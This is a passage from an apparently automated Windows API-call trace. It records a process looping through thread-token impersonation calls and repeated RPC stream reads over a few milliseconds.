TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.650] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.650] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.650] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.650] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.650] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.651] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.651] GetCurrentThread () returned 0xfffffffffffffffe [0147.651] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.651] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.651] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.651] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.651] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.651] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.652] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.652] GetCurrentThread () returned 0xfffffffffffffffe [0147.652] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.652] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.652] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.652] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x46, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.652] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.652] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.653] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.653] GetCurrentThread () returned 0xfffffffffffffffe [0147.653] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.653] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.653] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.653] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.653] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.653] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.654] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.654] GetCurrentThread () returned 0xfffffffffffffffe [0147.654] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.654] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.654] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.654] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x12, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.654] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.654] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.655] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.655] GetCurrentThread () returned 0xfffffffffffffffe [0147.655] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.655] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.655] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.655] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x60, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.655] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.656] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.656] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.656] GetCurrentThread () returned 0xfffffffffffffffe [0147.656] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.656] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.656] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.656] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x25, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.656] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.657] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.657] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.657] GetCurrentThread () returned 0xfffffffffffffffe [0147.657] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.657] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.657] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.657] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.658] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.658] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.658] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.658] GetCurrentThread () returned 0xfffffffffffffffe [0147.658] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.658] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.658] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.659] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.659] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.659] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.659] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.659] GetCurrentThread () returned 0xfffffffffffffffe [0147.659] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.659] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.660] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.660] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.660] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.660] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.660] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.660] GetCurrentThread () returned 0xfffffffffffffffe [0147.661] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.661] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.661] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.661] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x19, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.661] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.661] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.661] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.662] GetCurrentThread () returned 0xfffffffffffffffe [0147.662] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.662] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.662] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.662] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.662] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.662] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.663] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.663] GetCurrentThread () returned 0xfffffffffffffffe [0147.663] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.663] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.663] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.663] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.663] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.663] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.664] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.664] GetCurrentThread () returned 0xfffffffffffffffe [0147.664] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.664] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.664] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.664] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xaa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.664] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.664] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.665] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.665] GetCurrentThread () returned 0xfffffffffffffffe [0147.665] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.665] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.665] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.665] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x53, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.665] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.666] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.666] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.666] GetCurrentThread () returned 0xfffffffffffffffe [0147.666] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.666] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.666] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.666] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.666] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.667] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.667] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.667] GetCurrentThread () returned 0xfffffffffffffffe [0147.667] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.667] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.667] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.667] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x88, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.667] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.668] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.668] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.668] GetCurrentThread () returned 0xfffffffffffffffe [0147.668] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.668] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.668] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.668] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.669] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.669] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.669] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.669] GetCurrentThread () returned 0xfffffffffffffffe [0147.669] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.669] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.670] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.670] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.670] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.670] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.670] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.670] GetCurrentThread () returned 0xfffffffffffffffe [0147.671] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.671] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.671] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.671] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.671] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.671] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.671] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.672] GetCurrentThread () returned 0xfffffffffffffffe [0147.672] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.672] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.672] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.672] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.672] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.672] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.673] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.673] GetCurrentThread () returned 0xfffffffffffffffe [0147.673] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.673] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.673] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.673] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.673] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.673] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.674] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.674] GetCurrentThread () returned 0xfffffffffffffffe [0147.674] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.674] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.674] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.674] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.674] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.674] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.677] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.678] GetCurrentThread () returned 0xfffffffffffffffe [0147.678] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.678] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.678] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.678] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.678] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.678] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.680] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.680] GetCurrentThread () returned 0xfffffffffffffffe [0147.680] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.680] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.680] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.680] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x40, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.680] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.680] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.681] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.681] GetCurrentThread () returned 0xfffffffffffffffe [0147.681] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.681] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.681] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.681] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.681] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.681] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.682] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.682] GetCurrentThread () returned 0xfffffffffffffffe [0147.682] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.682] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.682] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.682] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x19, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.682] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.682] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.683] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.683] GetCurrentThread () returned 0xfffffffffffffffe [0147.683] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.683] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.683] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.683] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.683] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.683] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.684] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.684] GetCurrentThread () returned 0xfffffffffffffffe [0147.684] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.684] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.684] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.684] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x71, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.684] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.685] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.685] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.685] GetCurrentThread () returned 0xfffffffffffffffe [0147.685] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.685] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.685] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.685] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xba, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.685] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.686] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.686] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.686] GetCurrentThread () returned 0xfffffffffffffffe [0147.686] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.686] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.686] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.686] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x45, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.687] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.687] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.687] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.687] GetCurrentThread () returned 0xfffffffffffffffe [0147.687] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.687] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.688] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.688] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.688] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.688] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.688] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.688] GetCurrentThread () returned 0xfffffffffffffffe [0147.689] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.689] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.689] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.689] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.689] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.689] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.689] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.690] GetCurrentThread () returned 0xfffffffffffffffe [0147.690] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.690] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.690] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.690] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x42, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.690] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.690] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.691] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.691] GetCurrentThread () returned 0xfffffffffffffffe [0147.691] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.691] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.691] SetThreadToken 